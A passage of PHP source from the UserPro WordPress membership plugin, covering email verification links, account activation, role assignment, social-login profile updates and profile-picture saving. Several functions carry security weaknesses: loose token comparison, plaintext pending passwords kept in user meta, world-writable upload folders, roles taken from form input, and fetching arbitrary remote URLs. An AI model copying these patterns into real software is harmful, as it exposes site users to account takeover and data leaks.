isset($_GET['user_verification_key'])) { if ($_GET['act'] == 'verify_account' && (int)$_GET['user_id'] && strlen($_GET['user_verification_key']) == 20) { // valid request, try to validate user if ($this->is_pending($_GET['user_id'])) { $salt_check = get_user_meta($_GET['user_id'], '_account_verify', true); if ($salt_check == $_GET['user_verification_key']) { $this->activate($_GET['user_id']); wp_safe_redirect(add_query_arg('accountconfirmed', 'true', esc_url($this->permalink()))); exit; } } } } if (isset($_GET['accountconfirmed']) && $_GET['accountconfirmed'] == 'true') { add_action('userpro_pre_form_message', 'userpro_msg_account_validated', 999); } } /****************************************** * Process verification invite ******************************************/ function process_verification_invites() { if (isset($_GET['act']) && isset($_GET['user_id']) && isset($_GET['hash_secret'])) { if ($_GET['act'] == 'verified_invitation' && (int)$_GET['user_id'] && strlen($_GET['hash_secret']) == 20) { // valid request, verify user $hash = get_user_meta($_GET['user_id'], '_invite_verify', true); if ($hash == $_GET['hash_secret']) { $this->verify($_GET['user_id']); add_action('wp_footer', 'userpro_check_status_verified'); } else { // invalid expired add_action('wp_footer', 'userpro_failed_status_verified'); } } } } /****************************************** * Create a validation URL automatically ******************************************/ function create_validate_url($user_id) { $salt = get_user_meta($user_id, '_account_verify', true); if ($salt && strlen($salt) == 20) { $url = home_url() . '/'; $url = add_query_arg('act', 'verify_account', $url); $url = add_query_arg('user_id', $user_id, $url); $url = add_query_arg('user_verification_key', $salt, $url); return $url; } } /****************************************** * Prepares a user for pending email verify ******************************************/ function pending_email_approve($user_id, $user_pass, $form) { $new_account_salt = wp_generate_password($length = 20, $include_standard_special_chars = false); update_user_meta($user_id, '_account_verify', $new_account_salt); update_user_meta($user_id, '_account_status', 'pending'); update_user_meta($user_id, '_pending_pass', $user_pass); update_user_meta($user_id, '_pending_form', $form); userpro_mail($user_id, 'verifyemail', null, $form); if (userpro_get_option('notify_admin_email_approve')) { userpro_mail($user_id, 'verifyemailadmin', null, $form); } } /****************************************** * Prepares a user for pending admin verify ******************************************/ function pending_admin_approve($user_id, $user_pass, $form) { $new_account_salt = wp_generate_password($length = 20, $include_standard_special_chars = false); update_user_meta($user_id, '_account_status', 'pending_admin'); update_user_meta($user_id, '_pending_pass', $user_pass); update_user_meta($user_id, '_pending_form', $form); userpro_mail($user_id, 'pendingapprove', null, $form); } /****************************************** * Simply ensures a user is activated before * allowing him to login, etc. ******************************************/ function is_active($user_id) { $checkuser = get_user_meta($user_id, '_account_status', true); if ($checkuser == 'active') { return true; } return false; } /****************************************** * Check for a pending user ******************************************/ function is_pending($user_id) { $checkuser = get_user_meta($user_id, '_account_status', true); if ($checkuser == 'pending' || $checkuser == 'pending_admin' || $checkuser == 'expired_subscription') { return true; } return false; } /****************************************** * Activate a user ******************************************/ function activate($user_id, $user_login = null) { if ($user_login != '') { $user = get_user_by('login', $user_login); $user_id = $user->ID; } $result = get_user_meta($user_id, "userpayment"); $uppayment = get_option('userpro_payment'); if ($uppayment['userpro_payment_option'] == 'y') { if (isset($result[0]) && $result[0] == "recive" || is_super_admin(get_current_user_id())) { delete_user_meta($user_id, '_account_verify'); update_user_meta($user_id, '_account_status', 'active'); $password = get_user_meta($user_id, '_pending_pass', true); $form = get_user_meta($user_id, '_pending_form', true); userpro_mail($user_id, 'newaccount', $password, $form); do_action('userpro_after_new_registration', $user_id); delete_user_meta($user_id, '_pending_pass'); delete_user_meta($user_id, '_pending_form'); } } else { delete_user_meta($user_id, '_account_verify'); update_user_meta($user_id, '_account_status', 'active'); $password = get_user_meta($user_id, '_pending_pass', true); $form = get_user_meta($user_id, '_pending_form', true); userpro_mail($user_id, 'newaccount', $password, $form); do_action('userpro_after_new_registration', $user_id); delete_user_meta($user_id, '_pending_pass'); delete_user_meta($user_id, '_pending_form'); } } /****************************************** * Get a cached query ******************************************/ function get_cached_query($query) { $cached = $this->get_cached_results; $testcache = serialize($query); if (!isset($cached["$testcache"])) { $cached["$testcache"] = new WP_User_Query(unserialize($testcache)); update_option('userpro_cached_results', $cached); $query = $cached["$testcache"]; } else { $query = $cached["$testcache"]; } return $query; } /****************************************** * Clear previous cache ******************************************/ function clear_cache() { delete_option('userpro_cached_results'); } /****************************************** * Extract user id/data of profile ******************************************/ function try_user_id($args) { if ($args['user'] == 'url' && get_query_var('up_username')) { $user_id = $this->get_member_by_queryvar_from_id(); } elseif ($args['user'] != '') { $user = get_user_by('login', $args['user']); $user_id = $user->ID; } else { $user_id = get_current_user_id(); } return $user_id; } /****************************************** * Content to fields ******************************************/ function content_to_fields($content, $id = 0) { $user_id = $this->get_member_by_queryvar_from_id(); if ($id) { $user_id = $id; } $user = get_userdata($user_id); foreach ($this->fields as $key => $v) { $merged_keys[] = $key; } $merged_keys = array_merge($merged_keys, ['username', 'role']); foreach ($merged_keys as $key) { switch ($key) { case 'user_login': $fields['[' . $key . ']'] = '<span class="up-' . $key . '">' . $user->user_login . '</span>'; break; case 'role': $fields['[' . $key . ']'] = '<span class="up-' . $key . '">' . $this->get_role_nice($user) . '</span>'; break; default: $fields['[' . $key . ']'] = '<span class="up-' . $key . '">' . get_user_meta($user_id, $key, true) . '</span>'; break; } if (strstr($key, 'profilepicture')) { $fields['[' . $key . ']'] = '<span class="up-' . $key . '">' . get_avatar($user_id, 64) . '</span>'; $fields['[' . $key . ' round]'] = '<span class="up-' . $key . ' up-round">' . get_avatar($user_id, 64) . '</span>'; } } $search = array_keys($fields); $replace = array_values($fields); $content = str_replace($search, $replace, $content); return apply_filters('userpro_content_from_field_filter', $content, $user_id); } /****************************************** * If a field exists in builtin+custom fields ******************************************/ function field_exists($key) { if (isset($this->fields[$key])) { return true; } return false; } /****************************************** * Gets a field label ******************************************/ function field_label($key) { if (isset($this->fields[$key]) && isset($this->fields[$key]['label'])) { return $this->fields[$key]['label']; } else { return null; } } /****************************************** * Gets a field type ******************************************/ function field_type($key) { if (isset($this->fields[$key]) && isset($this->fields[$key]['type'])) { return $this->fields[$key]['type']; } return false; } /****************************************** * Gets a field icon ******************************************/ function field_icon($key) { if (isset($this->fields[$key]) && isset($this->fields[$key]['icon'])) { return $this->fields[$key]['icon']; } } /****************************************** * Update field icons ******************************************/ function update_field_icons() { $fields = $this->fields; if (isset($fields) && is_array($fields) && get_option('userpro_fields')) { foreach ($fields as $field => $arr) { switch ($field) { default: $fields[$field]['icon'] = ''; break; case 'country': $fields['country']['icon'] = 'map-marker'; break; case 'user_email': $fields['user_email']['icon'] = 'envelope-alt'; break; case 'user_login': $fields['user_login']['icon'] = 'user'; break; case 'username_or_email': $fields['username_or_email']['icon'] = 'user'; break; case 'user_pass': $fields['user_pass']['icon'] = 'lock'; break; case 'facebook': $fields['facebook']['icon'] = 'facebook'; break; case 'twitter': $fields['twitter']['icon'] = 'twitter'; break; case 'google_plus': $fields['google_plus']['icon'] = 'google-plus'; break; case 'profilepicture': $fields['profilepicture']['icon'] = 'camera'; break; case 'user_url': $fields['user_url']['icon'] = 'home'; break; case 'linkedin': $fields['linkedin']['icon'] = 'linkedin'; break; case 'instagram': $fields['instagram']['icon'] = 'instagram'; break; case 'youtube': $fields['youtube']['icon'] = 'youtube'; break; } } update_option('userpro_fields', $fields); update_option('userpro_pre_icons_setup', 1); } } /****************************************** * If admin is checking notices ******************************************/ function admin_user_notice($user_id) { if (userpro_get_option('admin_user_notices') && current_user_can('manage_options')) { return true; } return false; } /****************************************** * Show user notices ******************************************/ function user_notice_viewable($user_id) { if (userpro_get_option('show_user_notices') || ($user_id == get_current_user_id())) { return true; } } /****************************************** * Has usermeta ******************************************/ function has($field, $user_id) { $meta = get_user_meta($user_id, $field, true); if ($meta != '') { return true; } return false; } /****************************************** * Get usermeta ******************************************/ function get($field, $user_id) { return get_user_meta($user_id, $field, true); } /****************************************** * Set usermeta ******************************************/ function set($field, $value, $user_id) { if ($user_id != get_current_user_id() && !current_user_can('manage_options')) { die(); } update_user_meta($user_id, $field, esc_attr($value)); } /****************************************** * Create uploads dir if does not exist ******************************************/ function do_uploads_dir($user_id = 0) { if (empty($this->upload_base_dir)) { $this->setUploadDirectory(); } if (!file_exists($this->upload_base_dir . '.htaccess')) { $data = <<<EOF <Files ~ "\.txt$"> Order allow,deny Deny from all </Files> EOF; file_put_contents($this->upload_base_dir . '.htaccess', $data); } if (!file_exists($this->upload_base_dir)) { @mkdir($this->upload_base_dir, 0777, true); } if ($user_id > 0) {// upload dir for a user if (!file_exists($this->upload_base_dir . $user_id . '/')) { @mkdir($this->upload_base_dir . $user_id . '/', 0777, true); } } } /****************************************** * Get the proper uploads dir ******************************************/ function get_uploads_dir($user_id = 0) { if ($user_id > 0) { return $this->upload_base_dir . $user_id . '/'; } return $this->upload_base_dir; } /****************************************** * Return the uploads URL ******************************************/ function get_uploads_url($user_id = 0) { if ($user_id > 0) { return $this->upload_base_url . $user_id . '/'; } return $this->upload_base_url; } /****************************************** * Show social bar icons ******************************************/ function show_social_bar($args, $user_id, $wrapper = null) { if ($args['show_social'] == 1) { userpro_profile_icons($args, $user_id, $wrapper); } } /****************************************** * Integrate social bar without args ******************************************/ function show_social_bar_clean($user_id, $wrapper = null) { userpro_profile_icons_noargs($user_id, $wrapper); } /****************************************** * Can reset admin password or not ******************************************/ function can_reset_pass($username) { if (userpro_is_admin(username_exists($username)) && userpro_get_option('reset_admin_pass') == 0) { return false; } return true; } /****************************************** * from ID to member arg ******************************************/ function id_to_member($user_id) { $res = ''; $nice_url = userpro_get_option('permalink_type'); $user = get_userdata($user_id); if ($nice_url == 'ID') { $res = $user_id; } if ($nice_url == 'username') { $res = $user->user_login; } if ($nice_url == 'name') { $res = $this->get_fullname_by_userid($user_id); } if ($nice_url == 'display_name') { $res = userpro_profile_data('display_name', $user_id); } if ($res != '') { return $res; } } /****************************************** * Get full name of user by ID ******************************************/ function get_fullname_by_userid($user_id) { $first_name = get_user_meta($user_id, 'first_name', true); $last_name = get_user_meta($user_id, 'last_name', true); $first_name = str_replace(' ', '_', $first_name); $last_name = str_replace(' ', '_', $last_name); $name = $first_name . '-' . $last_name; return $name; } /****************************************** * Get full name (user friendly) ******************************************/ function get_full_name($user_id) { $first_name = get_user_meta($user_id, 'first_name', true); $last_name = get_user_meta($user_id, 'last_name', true); $name = $first_name . ' ' . $last_name; return $name; } /****************************************** * Get user ID only by query var ******************************************/ function get_member_by_queryvar_from_id() { $arg = get_query_var('up_username'); if ($arg) { $user = $this->get_member_by($arg); return $user->ID; } } /****************************************** * Check that page exists ******************************************/ function page_exists($id) { $page_data = get_page($id); if (isset($page_data->post_status)) { if ($page_data->post_status == 'publish') { return true; } } return false; } /****************************************** * Get permalink for user ******************************************/ function permalink($user_id = 0, $request = 'profile', $option = 'userpro_pages') { $pages = get_option($option); if (isset($pages[$request]) && $this->page_exists($pages[$request])) { $page_id = $pages[$request]; } else { $default = get_option('userpro_pages'); $page_id = $default['profile']; } if ($user_id > 0) { $user = get_userdata($user_id); $nice_url = userpro_get_option('permalink_type'); if ($nice_url == 'ID') { $clean_user_login = $user_id; } if ($nice_url == 'username') { $clean_user_login = $user->user_login; $clean_user_login = str_replace(' ', '-', $clean_user_login); } if ($nice_url == 'name') { $clean_user_login = $this->get_fullname_by_userid($user_id); } if ($nice_url == 'display_name') { $clean_user_login = userpro_profile_data('display_name', $user_id); $clean_user_login = str_replace(' ', '-', $clean_user_login); $clean_user_login = urlencode($clean_user_login); } /* append permalink */ if (get_option('permalink_structure') == '') { $link = add_query_arg('up_username', $clean_user_login, esc_url(get_page_link($page_id))); } else { $link = trailingslashit(trailingslashit(get_page_link($page_id)) . $clean_user_login); } } else { $link = get_page_link($page_id); } if ($request == 'view' || $request == 'profile') { $link = apply_filters('userpro_user_profile_url', $link, $user_id); } return $link; } /****************************************** * Display name by arg ******************************************/ function display_name_by_arg($arg) { $user = $this->get_member_by($arg); return userpro_profile_data('display_name', $user->ID); } /****************************************** * Get clean member user from arg ******************************************/ function get_member_by($arg, $force = 0) { if ($force) { $user = get_user_by('login', $arg); } elseif ($arg) { $nice_url = userpro_get_option('permalink_type'); if ($nice_url == 'ID') { $user = get_userdata($arg); } if ($nice_url == 'username') { $arg = str_replace('-', ' ', $arg); $user = get_user_by('login', $arg); if (!$user) { $arg = str_replace(' ', '-', $arg); $user = get_user_by('login', $arg); } $user = get_user_by('login', $arg); } if ($nice_url == 'display_name') { $arg = str_replace('-', ' ', $arg); $arg = urldecode($arg); $args['meta_query'][] = [ 'key' => 'display_name', 'value' => $arg, 'compare' => '=', ]; $getUser = new WP_User_Query($args); if (isset($getUser->results) && isset($getUser->results[0])) { $user = $getUser->results[0]; } else { $user = get_user_by('login', $arg); } } if ($nice_url == 'name') { $name = explode('-', $arg); $first_name = $name[0]; $last_name = $name[1]; $first_name = urldecode($first_name); $last_name = urldecode($last_name); $first_name = str_replace('_', ' ', $first_name); $last_name = str_replace('_', ' ', $last_name); $args['meta_query'][] = [ 'key' => 'first_name', 'value' => $first_name, 'compare' => '=', ]; $args['meta_query'][] = [ 'key' => 'last_name', 'value' => $last_name, 'compare' => '=', ]; $getUser = new WP_User_Query($args); if (isset($getUser->results) && isset($getUser->results[0])) { $user = $getUser->results[0]; } } } if (isset($user)) { return $user; } } /****************************************** * Get nice username from url (user query var) ******************************************/ function try_query_user($user_id) { $user = $this->get_member_by(get_query_var('up_username')); if ($user) { $user_id = $user->ID; } return $user_id; } /****************************************** * Display short user bio ******************************************/ function shortbio($userid, $length = 100, $fallback = null) { $desc = get_user_meta($userid, 'description', true); $desc = wp_strip_all_tags($desc); if (strlen($desc) > $length) { $desc = mb_substr($desc, 0, $length, "utf-8"); $res = $desc . '...'; } else { $res = $desc; } if (!$res && $fallback) { $res = $fallback; } return $res; } /****************************************** * Show meta fields in member directory ******************************************/ function meta_fields($fields, $user_id) { $res = ''; $arr = explode(',', $fields); foreach ($arr as $k) { if (!userpro_field_is_viewable_noargs($k, $user_id)) { continue; } if (get_user_meta($user_id, $k, true) != '') { $values[] = $k; } } if (isset($values) && is_array($values)) { $n = 1; foreach ($values as $n => $k) { $n++; if ($n == count($values)) { $res .= userpro_profile_data_nicename($k, userpro_profile_data($k, $user_id)); } else { $res .= userpro_profile_data_nicename($k, userpro_profile_data($k, $user_id)) . " / "; } } } if (!$res) { $res = __('No available information', 'userpro'); } return $res; } /****************************************** * Can view other members ******************************************/ function can_view_profile($arg = null) { $user_id = 0; $array = (array)userpro_get_option('roles_can_view_profiles'); $array = array_merge($array, ['administrator']); if (userpro_is_logged_in()) { if ($arg) { $user = $this->get_member_by($arg); if (isset($user)) { $user_id = $user->ID; if (get_current_user_id() == $user_id) { return true; } } } } if (userpro_get_option('allow_users_view_profiles') == 0 && userpro_is_logged_in() && $this->user_role_in_array(get_current_user_id(), $array)) { return true; } if (userpro_get_option('allow_users_view_profiles') == 0 && !current_user_can('manage_options')) { return false; } return true; } /****************************************** * Check if requested user is the logged in user ******************************************/ function is_user_logged_user($user_id) { if ($user_id == get_current_user_id()) { return true; } return false; } /****************************************** * Viewing his own profile or not ******************************************/ function viewing_his_profile() { $id = get_current_user_id(); $logged_id = get_current_user_id(); if (get_query_var('up_username')) { $id = $this->get_member_by_queryvar_from_id(); } if ($logged_id && $id && ($logged_id == $id)) { return true; } return false; } /****************************************** * Delete user ******************************************/ function delete_user($user_id) { if (is_multisite()) { wpmu_delete_user($user_id); } else { wp_delete_user($user_id); } } /****************************************** * Get verified account status for user ******************************************/ function get_verified_status($user_id) { $field = get_user_meta($user_id, 'userpro_verified', true); if (userpro_is_admin($user_id)) { //return 1; return $field; } else { return $field; } } /****************************************** * Check if user is blocked by admin or not ******************************************/ function get_account_status($user_id) { $status = get_user_meta($user_id, 'userpro_account_status', true); if (userpro_is_admin($user_id)) { //return 1; return $status; } else { return $status; } } /****************************************** * Make the link that user has to click to * become verified ******************************************/ function accept_invite_to_verify($user_id) { $salt = get_user_meta($user_id, '_invite_verify', true); if ($salt != '' && strlen($salt) == 20 && $this->user_exists($user_id)) { $url = home_url() . '/'; $url = add_query_arg('act', 'verified_invitation', $url); $url = add_query_arg('user_id', $user_id, $url); $url = add_query_arg('hash_secret', $salt, $url); return $url; } } /****************************************** * Setup invitation verification ******************************************/ function new_invitation_verify($user_id) { $hash = wp_generate_password($length = 20, $include_standard_special_chars = false); update_user_meta($user_id, '_invite_verify', $hash); userpro_mail($user_id, 'verifyinvite'); } /****************************************** * User already invited ******************************************/ function invited_to_verify($user_id) { return get_user_meta($user_id, '_invite_verify', true); } /****************************************** * Make a user verified ******************************************/ function verify($user_id) { // verify him update_user_meta($user_id, 'userpro_verified', 1); update_user_meta($user_id, 'userpro_verified_date', current_time('Y-m-d')); delete_user_meta($user_id, 'userpro_verification'); delete_user_meta($user_id, '_invite_verify'); // send him a notification if (userpro_get_option('notify_user_verified')) { userpro_mail($user_id, 'accountverified'); } $role = userpro_get_option('upgrade_role_after_verfied'); if (isset($role) && $role != 'none') { if (!is_super_admin($user_id)) { $user = new WP_User($user_id); $user->role = $role; wp_update_user($user); } } do_action('userpro_after_user_verify', $user_id); } /****************************************** * Make a user unverified ******************************************/ function unverify($user_id) { // verified (unverify him) if (userpro_get_option('notify_user_unverified') && $this->get_verified_status($user_id) == 1) { userpro_mail($user_id, 'accountunverified'); } // make user unverified and delete his request update_user_meta($user_id, 'userpro_verified', 0); delete_user_meta($user_id, 'userpro_verification'); // remove his verify request $requests = get_option('userpro_verify_requests'); if (isset($requests) && is_array($requests)) { foreach ($requests as $k => $id) { if ($id == $user_id) { unset($requests[$k]); } } update_option('userpro_verify_requests', $requests); } do_action('userpro_after_user_unverify', $user_id); } /****************************************** * Make an account blocked ******************************************/ function block_account($user_id) { // Block user update_user_meta($user_id, 'userpro_account_status', 1); $this->clear_cache(); userpro_mail($user_id, 'accountblocked'); do_action('userpro_after_account_blocked', $user_id); } /****************************************** * Make an account unblocked ******************************************/ function unblock_account($user_id) { // Unblock user update_user_meta($user_id, 'userpro_account_status', 0); $this->clear_cache(); userpro_mail($user_id, 'accountunblocked'); do_action('userpro_after_account_unblocked', $user_id); } /****************************************** * Checks if user can request verification ******************************************/ function request_verification($user_id) { if (userpro_get_option('allow_users_verify_request') && $this->get_verified_status($user_id) != 1 && !$this->request_verification_pending($user_id) && $user_id == get_current_user_id()) { return true; } return false; } /****************************************** * Checks if the verification is pending ******************************************/ function request_verification_pending($user_id) { $status = get_user_meta($user_id, 'userpro_verification', true); if ($status == 'pending') { return true; } return false; } /****************************************** * Make a verification request for user ******************************************/ function new_verification_request($username) { $user = $this->get_member_by($username); update_user_meta($user->ID, 'userpro_verification', 'pending'); $requests = get_option('userpro_verify_requests'); $requests[] = $user->ID; update_option('userpro_verify_requests', $requests); userpro_mail($user->ID, 'verifyuser'); } /****************************************** * Set user's role based on ID, role ******************************************/ function set_role($user_id, $role) { $wp_user_object = new WP_User($user_id); $wp_user_object->set_role($role); } /****************************************** * Get user's role based on ID, role ******************************************/ function get_role_nice($user) { $user_roles = $user->roles; if (isset($user_roles) && is_array($user_roles)) { $user_role = array_shift($user_roles); return userpro_user_role($user_role); } return ''; } /****************************************** * Assign default role after registration ******************************************/ function default_role($user_id, $form = null) { $default_role = userpro_get_option('default_role'); $form['role'] = empty($form['role']) ? $default_role : $form['role']; $form['form_role'] = empty($form['form_role']) ? $default_role : $form['form_role']; if ($form['form_role'] == 'administrator') { $form['form_role'] = $default_role; } if ($form['role'] == 'administrator') { $form['role'] = $default_role; } if (isset($form['form_role'])) { $this->set_role($user_id, $form['form_role']); } else { if (!empty($_SESSION['form_role']) && $_SESSION['form_role'] != 'administrator') { $this->set_role($user_id, $_SESSION['form_role']); } else { if ($default_role && !isset($form['role'])) { $this->set_role($user_id, $default_role); } } } } /****************************************** * Returns 1/0 for new_user connected profiles ******************************************/ function is_facebook_user($user_id) { $fbid = get_user_meta($user_id, 'userpro_facebook_id', true); if ($fbid) { return true; } return false; } /****************************************** * Returns 1/0 for Twitter connected profiles ******************************************/ function is_twitter_user($user_id) { $twitter_id = get_user_meta($user_id, 'twitter_oauth_id', true); if ($twitter_id) { return true; } return false; } /****************************************** * Returns 1/0 for Google connected profiles ******************************************/ function is_google_user($user_id) { $google_id = get_user_meta($user_id, 'userpro_google_id', true); if ($google_id) { return true; } return false; } /****************************************** * Returns 1/0 for Linkedin connected profiles ******************************************/ function is_linkedin_user($user_id) { $linkedin_id = get_user_meta($user_id, 'userpro_linkedin_id', true); if ($linkedin_id) { return true; } return false; } function is_instagram_user($user_id) { $instagram_id = get_user_meta($user_id, 'userpro_instagram_id', true); if ($instagram_id) { return true; } return false; } /****************************************** * Default display name ******************************************/ function set_default_display_name($user_id, $username) { $display_name = $username; if ($this->display_name_exists($display_name)) { $display_name = $this->unique_display_name($display_name); } wp_update_user(['ID' => $user_id, 'display_name' => $display_name]); update_user_meta($user_id, 'display_name', $display_name); } // update user profile from instagram function userpro_update_profile_via_instagram($user_id, $array) { global $userpro; $id = (isset($array['id'])) ? $array['id'] : 0; $name = (isset($array['full_name'])) ? $array['full_name'] : ''; if (userpro_is_logged_in() && ($user_id != get_current_user_id()) && !current_user_can('manage_options')) { die(); } if ($id) { update_user_meta($user_id, 'userpro_instagram_id', $id); } if (isset($name)) { update_user_meta($user_id, 'first_name', $name); } } /* Update user profile from twitter */ function userpro_update_profile_via_linkedin($user_id, $array) { global $userpro; $id = (isset($array['id'])) ? $array['id'] : 0; $firstName = (isset($array['firstName']['localized']['en_US'])) ? $array['firstName']['localized']['en_US'] : ''; $lastName = (isset($array['lastName']['localized']['en_US'])) ? $array['lastName']['localized']['en_US'] : ''; $location = (isset($array['location']['name'])) ? $array['location']['name'] : ''; $profile_picture = (isset($array['pictureUrls']['values'][0])) ? $array['pictureUrls']['values'][0] : ''; if (userpro_is_logged_in() && ($user_id != get_current_user_id()) && !current_user_can('manage_options')) { die(); } if ($id) { update_user_meta($user_id, 'userpro_linkedin_id', $id); } if (isset($firstName)) { update_user_meta($user_id, 'first_name', $firstName); } if (isset($lastName)) { update_user_meta($user_id, 'last_name', $lastName); } if (isset($location)) { update_user_meta($user_id, 'country', $location); } do_action('userpro_after_profile_updated_linkedin'); } /* Update user profile from twitter */ function userpro_update_profile_via_twitter($user_id, $array) { global $userpro; $image = []; $id = (isset($array['id'])) ? $array['id'] : 0; $screen_name = (isset($array['screen_name'])) ? $array['screen_name'] : 0; $location = (isset($array['location'])) ? $array['location'] : 0; $email = (isset($array['email'])) ? $array['email'] : 0; $url = (isset($array['url'])) ? $array['url'] : 0; $description = (isset($array['description'])) ? $array['description'] : 0; if (userpro_is_logged_in() && ($user_id != get_current_user_id()) && !current_user_can('manage_options')) { die(); } if ($id) { update_user_meta($user_id, 'twitter_oauth_id', $id); } if ($screen_name) { update_user_meta($user_id, 'twitter', 'http://twitter.com/' . $screen_name); } /* begin display name */ if ($screen_name) { $display_name = $screen_name; } if ($display_name) { // if ($userpro->display_name_exists($display_name)) { // $display_name = $userpro->unique_display_name($display_name); // } $display_name = $userpro->remove_denied_chars($display_name); wp_update_user(['ID' => $user_id, 'display_name' => $display_name]); update_user_meta($user_id, 'display_name', $display_name); } /* end display name */ if ($location) { update_user_meta($user_id, 'country', $location); } if ($url) { wp_update_user(['ID' => $user_id, 'user_url' => $url]); update_user_meta($user_id, 'user_url', $url); } if ($description) { update_user_meta($user_id, 'description', $description); } do_action('userpro_after_profile_updated_twitter'); } /****************************************** * Create a new user ******************************************/ function new_user($user_login, $user_password, $user_email, $form, $type, $approved = 1) { global $wpdb; $errors = new WP_Error(); $user_id = wp_insert_user([ 'user_login' => sanitize_user($user_login, true), 'user_pass' => $user_password, 'display_name' => sanitize_user($user_login, true), 'user_email' => $user_email, ]); add_filter('send_password_change_email', '__return_false'); if (is_wp_error($user_id) || empty($user_id)) { /* @todo: Manage error conditions */ $errors->add('registerfail', sprintf(__('<strong>ERROR</strong>: Couldn’t register you. Please contact the webmaster.', 'userpro'))); return $errors; } $this->default_role($user_id, $form); if ($type == 'standard') { $this->set_default_display_name($user_id, $user_login); } if ($type == 'facebook') { userpro_update_profile_via_facebook($user_id, $form); $this->facebook_save_profile_pic($user_id, $form['profilepicture']); } elseif ($type == 'twitter') { $this->userpro_update_profile_via_twitter($user_id, $form); $this->twitter_save_profile_pic($user_id, $form); } elseif ($type == 'linkedin') { $this->userpro_update_profile_via_linkedin($user_id, $form); if(!empty($form['pictureUrls']['values'][0])) $this->linkedin_save_profile_pic($user_id, $form); } elseif ($type == 'instagram') { $this->instagram_save_profile_pic($user_id, $form); $this->userpro_update_profile_via_instagram($user_id, $form); } elseif ($type == 'google') { userpro_update_profile_via_google($user_id, $form); $this->google_save_profile_pic($user_id, $form); } else { userpro_update_user_profile($user_id, $form, $action = 'new_user'); } if ($approved == 1) { userpro_mail($user_id, 'newaccount', $user_password, $form); do_action('userpro_after_new_registration', $user_id); } return $user_id; } /****************************************** * Get the user profile data ******************************************/ function extract_profile_for_mail($user_id, $form) { $output = ''; $customfieldarray = []; foreach ($form as $k => $v) { if ($this->field_label($k) != '' && !strstr($k, 'pass')) { $val = userpro_profile_data($k, $user_id); if ($k == 'gender') { $val = userpro_profile_data_nicename($k, userpro_profile_data($k, $user_id)); } if (is_array($val)) { $val = implode(', ', $val); } $output .= $this->field_label($k) . ': ' . $val . "\r\n"; $customfieldarray['{USERPRO_' . $k . '}'] = $val; } } return ['output' => $output, 'custom_fields' => $customfieldarray]; } /****************************************** * Return true or false if user can view the * private content or not ******************************************/ function can_view_private_content($restrict_to_verified = null, $restrict_to_roles = null) { if (!userpro_is_logged_in()) { return '-1'; } else { if (userpro_get_option('restricted_page_verified') == "1" && $this->get_verified_status(get_current_user_id())) { $user = get_userdata(get_current_user_id()); $user_role = array_shift($user->roles); if (($restrict_to_verified == 1 && $this->get_verified_status(get_current_user_id())) || ($restrict_to_roles != '' && in_array($user_role, explode(',', $restrict_to_roles))) || (!$restrict_to_verified && !$restrict_to_roles) ) { return '1'; } else { return '-2'; } } else { if (userpro_get_option('restricted_page_verified') == "0") { $user = get_userdata(get_current_user_id()); $user_role = array_shift($user->roles); if (($restrict_to_verified == 1 && $this->get_verified_status(get_current_user_id())) || ($restrict_to_roles != '' && in_array($user_role, explode(',', $restrict_to_roles))) || (!$restrict_to_verified && !$restrict_to_roles) ) { return '1'; } else { return '-2'; } } } } } /****************************************** * Manual display for facebook login button ******************************************/ function facebook_login($args = []) { return userpro_facebook_connect_manual($args); } /****************************************** * Move file to user directory ******************************************/ function move_file($user_id, $file, $destination) { file_put_contents($this->get_uploads_dir($user_id) . $destination, file_get_contents($file)); } /****************************************** * Save a photo from google to profile ******************************************/ function google_save_profile_pic($user_id, $form) { $this->do_uploads_dir($user_id); if ($form['image']['url']) { $form['image']['url'] = str_replace('?sz=50', '', $form['image']['url']); $unique_id = uniqid(); $this->move_file($user_id, $form['image']['url'], $unique_id . '.jpg'); update_user_meta($user_id, 'profilepicture', $this->get_uploads_url($user_id) . $unique_id . '.jpg'); } } /****************************************** * Save a photo from twitter to profile ******************************************/ function twitter_save_profile_pic($user_id, $form) { $this->do_uploads_dir($user_id); if ($form['profile_image_url']) { $form['profile_image_url'] = str_replace('_normal', '', $form['profile_image_url']); $unique_id = uniqid(); $this->move_file($user_id, $form['profile_image_url'], $unique_id . '.jpg'); update_user_meta($user_id, 'profilepicture', $this->get_uploads_url($user_id) . $unique_id . '.jpg'); } } /****************************************** * Save user profile picture from facebook ******************************************/ function facebook_save_profile_pic($user_id, $profilepicture, $method = null) { $method = userpro_get_option('picture_save_method'); $unique_id = uniqid(); update_user_meta($user_id, 'facebook_pic_url', $profilepicture); if ($method == 'internal') { $this->do_uploads_dir($user_id); $this->move_file($user_id, $profilepicture, $unique_id . '.jpg'); update_user_meta($user_id, 'profilepicture', $this->get_uploads_url($user_id) . $unique_id . '.jpg'); } else { update_user_meta($user_id, 'profilepicture', $profilepicture); } } /****************************************** * Save user profile picture from Instagram ******************************************/ function instagram_save_profile_pic($user_id, $profilepicture, $method = null) { $profile_picture = $profilepicture['profile_picture']; $method = userpro_get_option('picture_save_method'); $unique_id = uniqid(); update_user_meta($user_id, 'instagram_pic_url', $profile_picture); if ($method == 'internal') { $this->do_uploads_dir($user_id); $this->move_file($user_id, $profile_picture, $unique_id . '.jpg'); update_user_meta($user_id, 'profilepicture', $this->get_uploads_url($user_id) . $unique_id . '.jpg'); } else { update_user_meta($user_id, 'profilepicture', $profile_picture); } } function linkedin_save_profile_pic($user_id, $profilepicture, $method = null) { $profile_picture = $profilepicture['pictureUrls']['values'][0]; $method = userpro_get_option('picture_save_method'); $unique_id = uniqid(); update_user_meta($user_id, 'linkedin_pic_url', $profile_picture); if ($method == 'internal') { $this->do_uploads_dir($user_id); $this->move_file($user_id, $profile_picture, $unique_id . '.jpg'); update_user_meta($user_id, 'profilepicture', $this->get_uploads_url($user_id) . $unique_id . '.jpg'); } else { update_user_meta($user_id, 'profilepicture', $profile_picture); } } /****************************************** * Initial search results ******************************************/ function memberlist_in_search_mode($args) { if (isset($args['turn_off_initial_results']) && (!isset($_GET['searchuser']) && !isset($_GET['emd-search']))) { return false; } return true; } /****************************************** * Online users count ******************************************/ function online_users_count($count) { if ($count == 1) { return sprintf(__('There are %s user online on the site.', 'userpro'), $count); } else { return sprintf(__('There are %s users online on the site.', 'userpro'), $count); } } function connection($user_id) { $userids = get_user_meta($user_id, '_userpro_users_request', true); return $userids; } function connetions_count($user_id) { $arr = get_user_meta($user_id, '_userpro_connected_userlist', true); if (is_array($arr) && !empty($arr)) { $count = count($arr); } else { $count = 0; } $count = number_format_i18n($count); if ($count == 1) { return sprintf(__('<span>%s</span> Connection', 'userpro'), $count); } else { return sprintf(__('<span>%s</span> Connections', 'userpro'), $count); } } function up_enqueue_scripts_styles() { /* CSS */ /* lightview */ if 